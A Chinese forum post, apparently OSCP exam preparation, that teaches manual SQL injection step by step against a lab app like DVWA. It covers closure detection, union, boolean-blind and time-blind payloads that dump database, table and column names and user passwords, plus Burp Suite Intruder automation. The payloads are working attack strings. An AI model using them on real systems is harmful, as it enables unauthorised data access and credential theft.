SQL注入测试步骤|注入范例

打印 上一主题 下一主题

主题 980|帖子 980|积分 2940

查找注入点


  • 注入点不仅仅范围于网页上可见的输入框,而是取决于请求包中转达的值。这些值可以存在于:

    • URL 中的 GET 传参: 参数直接显示在 URL 中,例如 http://longyusec/index.php?id=1。
    • POST 传参: 用于传输大量数据或敏感信息,参数值在请求体中,例如提交表单数据。
    • 请求头 (Headers): 例如 User-Agent、Referer、Cookie 等。
    • Cookie: 存储在用户浏览器中的小型文本文件。

判定是否存在注入 (构造闭合)

什么是构造闭合?

  • 构造闭合是指通过修改请求参数的值,来闭合原本的 SQL 语句结构,从而插入我们本身的恶意 SQL 代码。
    观察源代码:
  • 假设我们有以下 PHP 代码(虽然在现实测试中通常看不到):
  1. $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
复制代码
在这个 SQL 查询语句中,我们可以控制变量 $id 的值。 那要构造注入语句,首先需要判定它的闭合字符是什么。 观察代码,变量 $id 被单引号 ' 包裹,因此单引号就是这个 SQL 语句中 $id 变量的闭合字符。

  • 通过转达闭合字符来判定是否存在注入,当实验转达一个单引号 ' 作为 $id 的值时

为什么会报错?

让我们分析一下当转达 ' 时,SQL 语句会酿成什么样子:
  1. SELECT first_name, last_name FROM users WHERE user_id = ''';
复制代码
原本 $id 的值被替换成了 ',导致 WHERE 子句酿成了 WHERE user_id = '''。 这里出现了三个单引号,SQL 语法解析器无法正确理解这个语句,因此会抛出错误。 这正是我们判定是否存在 SQL 注入毛病的一个紧张依据。
常见的闭合方式:


  • 无引号: $id 例如: WHERE user_id = 123
  • 单引号: '$id' 例如: WHERE username = 'admin'
  • 双引号: "$id" 例如: WHERE email = "test@example.com"
  • 括号: ($id) 例如: WHERE id IN (1, 2, 3)
  • 复杂组合: (('"$id"')) 虽然不常见,但在某些复杂场景下可能出现。
注入情势

注入范例分为两种,一种是有回显查询内容的常规形注入,一种是无查询的回显信息的盲注。
常规情势


  • 在他查询的代码里是会将查询的效果返回到前段页面。注入方式:配合联合查询union查询相关信息。

例子


  • 使他闭合能够出现数据库报错的。

盲注情势


  • 检察源代码,将报错和查询的内容统一返回一个效果。注入方式:通过sleep检察页面的返回时间或者根据页面的只有正确或者错误的回显来判定。

时间盲注例子


  • 通过sleep语句让查询产生延迟,判定存在盲注。布尔盲注话会有明显的统一回显信息,正确或者错误的。
  1. 1' and sleep(5) #
复制代码

判定列数

常规范例


  • 使用order by :根据第几列(字段)来排序,如果报错则证明当前查询的字段为几个
  1. 1' order by 1 #
  2. 1' order by 2 #
  3. 1' order by 3 #  根据第三个字段排序时报错。
复制代码

盲注范例


  • 盲注中大部门不需要推测字段列数,查询字段列数是为了使用联合查询union
  1. 1' order by 1 #
  2. 1' order by 2 #
  3. 1' order by 3 #  根据第三个字段排序时报错。
复制代码

为什么这样构建语句


  • 试着将注入的语句替换为他查询语句中的$id
  1. #将语句插入今后后三个'是会报错的,但是可以利用#注释掉后面的一个单引号
  2. SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1 #';
复制代码
查询当前数据库/判定显错点

常规情势


  • 配合联合查询,前面知道只有两个字段(列),那么就要判定他显示查询数据的点是谁人字段
  1. #显错点为1,2字段
  2. 1' union select 1,2 #
复制代码


  • 使用显错点2字段获取当前数据库为dvwa。
  1. 1' union select 1,database() #
复制代码

盲注情势

布尔盲注


  • 判定数据库名长度
  1. 1' and length(substr(database(),1)) = 4 #
复制代码


  • 通过判定查询的数据库名,第一个字符是什么来判定,存在则显示正确回显信息。知道数据库第一个字符为d
  1. #从第一个字符开始提取,提取一个字符
  2. 1' and (select substr(database(), 1, 1) = 'a') #
  3. ....
  4. 1' and (select substr(database(), 1, 1) = 'd') #
复制代码

时间盲注


  • 先使用if函数先判定数据库的长度
  1. 1' and if((length(substr(database(),1)) = 4),sleep(5),null) #
复制代码


  • 先获取数据库名第一个字符的
  1. #if判断获取数据库的名字并从第一个字符开始截取他第一个字符,判断是否为a,是延迟5秒,否返回
  2. 1' and if(substr(database(), 1, 1)= 'a', sleep(5), false) #
  3. ...
  4. 1' and if(substr(database(), 1, 1)= 'd', sleep(5), false) #
复制代码

获取数据库中的表名

知道了当前数据库的名字可以实验获取当前数据库的表名,数据库的表名存放在information_schema.tables,information_schema数据库中的tables表。里面的table_name字段,数据库名为table_schema字段。
常规情势


  • 使用显错点2字段来查询,通过使用联合查询,使用group_concat函数将查询的字段合并成字符串输出。
  1. 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database() #
复制代码

盲注情势

盲注情势无法直接检察只能通过猜表的数目后再猜表名的字符。耗时耗力。
布尔盲注


  • 先使用count获取指定字段的行数,也就是表的数目。在举行判定有多少表
  1. 1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 #
复制代码


  • 再判定第一个表的长度。
  1. #select查询当前数据库中的表名并用limit从第0行开始算,获取第一行的表,substr从第一个字符开始截取出表名,length获取表的长度
  2. 1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #
  3. #第二个表类似,改变的点为limit从第一行开始,获取第一行的数据。(limit除开字段外,第一行数据为第0行算)
  4. 1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))=5 #
复制代码


  • 判定第一个表的字符
  1. #先select查询information_schema.tables中的table_name字段获取当前数据库的表名,截取第一个,再用substr获取第一个字符。
  2. 1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='a' #
  3. ...
  4. 1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),5,1)='a' #
复制代码

时间盲注


  • 猜数据库中表数目有多少。
  1. 1' and if((select count(table_name) from information_schema.tables where table_schema=database()) = 2,sleep(5),null) #
复制代码


  • 猜表中第一个字段的长度为多少。
  1. #第一个字段
  2. 1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),null) #
  3. ...
  4. 1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))=5,sleep(5),null) #
复制代码


  • 通过if语句猜表中的字符是否为真,来执行延迟。这里猜第一个字段的第一个字符。
  1. 1' and if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='a'),sleep(5),null) #
  2. ...
  3. 1' and if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),5,1)='a'),sleep(5),null) #
复制代码

获取表的字段

知道了有什么表之后还不足来查询表中的内容,还需要知道表有怎么字段(列)可以给我们查询,而表的字段信息存放在information_schema.columns表中。
常规情势


  • 一样使用联合查询union使用显错点2来查询表中有什么字段。
  1. 1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
复制代码

盲注情势

首先要知道字段的长度为多少
布尔盲注


  • 猜字段的数目
  1. 1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8 #
复制代码


  • 猜得字段长度
  1. 1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))='7' #
  2. ...
  3. 1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1))='10' #
复制代码


  • 一样只能通过猜字段的配合,这里示范猜第一个字段的字符
  1. 1' and substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='u' #
  2. ...
  3. 1' and substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1)='s' #
复制代码

时间盲注


  • 猜表的字段数目。
  1. 1' and if(((select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8),sleep(5),null) #
复制代码


  • 使用if函数猜得第一个字段的字符长度。
  1. 1' and if(length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=7,sleep(5),null) #
  2. ...
  3. 1' and if(length(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1))=7,sleep(5),null) #
复制代码


  • 再猜第一个字段的第一个字符是多少
  1. 1' and if((substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='u'),sleep(5),null) #
  2. ...
  3. 1' and if((substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1)='u'),sleep(5),null) #
复制代码

获取表中的数据

知道了表的字段后,就可以去查询表中的数据。
常规情势


  • 配合联合查询获取表中指定字段的数据,留意原先表格的字段(列)数,联合查询的字段数目不能超过原先查询的字段数,不外可以使用group_concat合并多个字段。
  1. 1' union select 1,group_concat(user_id,',',user,',',password) from users #
复制代码

盲注情势

盲注要去查询表中的数据照旧只能先猜一个字段的数据(行)数目,然后去猜第一个数据(行)的长度,再猜第一个数据第一个字符是什么。
布尔盲注


  • 先猜得数据的数目为多少。
  1. 1' and (select count(user_id) from users)=5 #
复制代码


  • 再猜第一个数据的长度为多少。
  1. 1' and (select length((select user from users limit 0,1)))=5 #
复制代码


  • 猜第一个字符是什么。
  1. 1' and (select substr((select user from users limit 0,1),1,1))='a' #
  2. ...
  3. 1' and (select substr((select user from users limit 0,1),2,1))='d' #
复制代码

时间盲注


  • 先推测数据的数目为多少
  1. 1' and if((select count(user_id) from users)=5,sleep(3),null) #
复制代码


  • 猜第一个数据(行)的长度为多少
  1. 1' and if((select length((select password from users limit 0,1)))=32,sleep(3),null) #
复制代码


  • 推测第一个数据(行)的第一个字符是什么。
  1. 1' and if((select substr((select password from users limit 0,1),1,1))=5,sleep(3),null) #
  2. ...
  3. 1' and if((select substr((select password from users limit 0,1),32,1))=9,sleep(3),null) #
复制代码

扩展

编写这个注入步骤原意是为了预备OSCP考试的,在OSCP考试中是不答应使用sqlmap的以是手工注入必须要过关,但是如果考试的时间突然出现盲注这种就会很麻烦,一个个手敲代就太麻烦了,于是我就想到使用burpsuite的爆破来使用。
使用BurpSuite盲注

具体思路如果盲注你是一个个敲会的话你肯定也发现了,每次获取到第一个字符正确后,去获取第二个字符其实也就是改个数字的事变,那么这个为什么不能用爆破情势的呢?哪怕社区版的bp都比我手敲的快(肯定),这里引用一个新的函数ascii,他可以将输出的字符转为ascii码情势,大大减少了爆破的难度。由于你只需要跑1-100的数字就可以了,背面再对着改回字符就可以了。
Ascii码情势


  • 原本语句
  1. select substr((select user from users limit 0,1),1,1);
复制代码


  • 使用ascii函数后。其实就是将原本字符的查询语句用函数包起来就可以了。
  1. select ascii(substr((select user from users limit 0,1),1,1));
复制代码

使用BurpSuite爆破布尔盲注


  • 这里直接爆破数据库名字
  1. #只需要改猜得数值就可
  2. 1' and ascii((select substr(database(), 1, 1))) = 1 #
复制代码

  • 抓取注入的请求包,发送的攻击器
    ![]

  • payload为需要改的谁人数值,也就是谁人1,然后ascii码的范围为1-100,设置好后直接开启攻击。

  • 对于布尔范例的可以根据页面返回的内容,或者看相应包的长度来判定。

使用BurpSuite爆破时间盲注


  • 也是爆破数据库名。
  1. 1' and if(ascii((select substr(database(), 1, 1)))= 1, sleep(5), false) #
复制代码

  • 抓取注入的请求包,发送到攻击器。

  • payload为需要改的谁人数值,也就是谁人1,然后ascii码的范围为1-100,设置好后直接开启攻击。

  • 这里可以根据相应完成的时间来判定了。

总结

SQL注入的步骤大概流程就是先找到能够传参的点,实验闭合一下观察是否存在SQL报错,然后根据报错的内容来分辨是盲注照旧常规注入。


  • 常规情势

    • 常规注入就先判定字段数目→然后判定显错点→获取当前数据库→获取数据库的表→表的字段→表的内容

  • 盲注情势

    • 盲注要先猜数据库的长度,猜数据库的名字→猜表的数目,长度,名字→表的字段数目,字段名字,数据


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

玛卡巴卡的卡巴卡玛

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表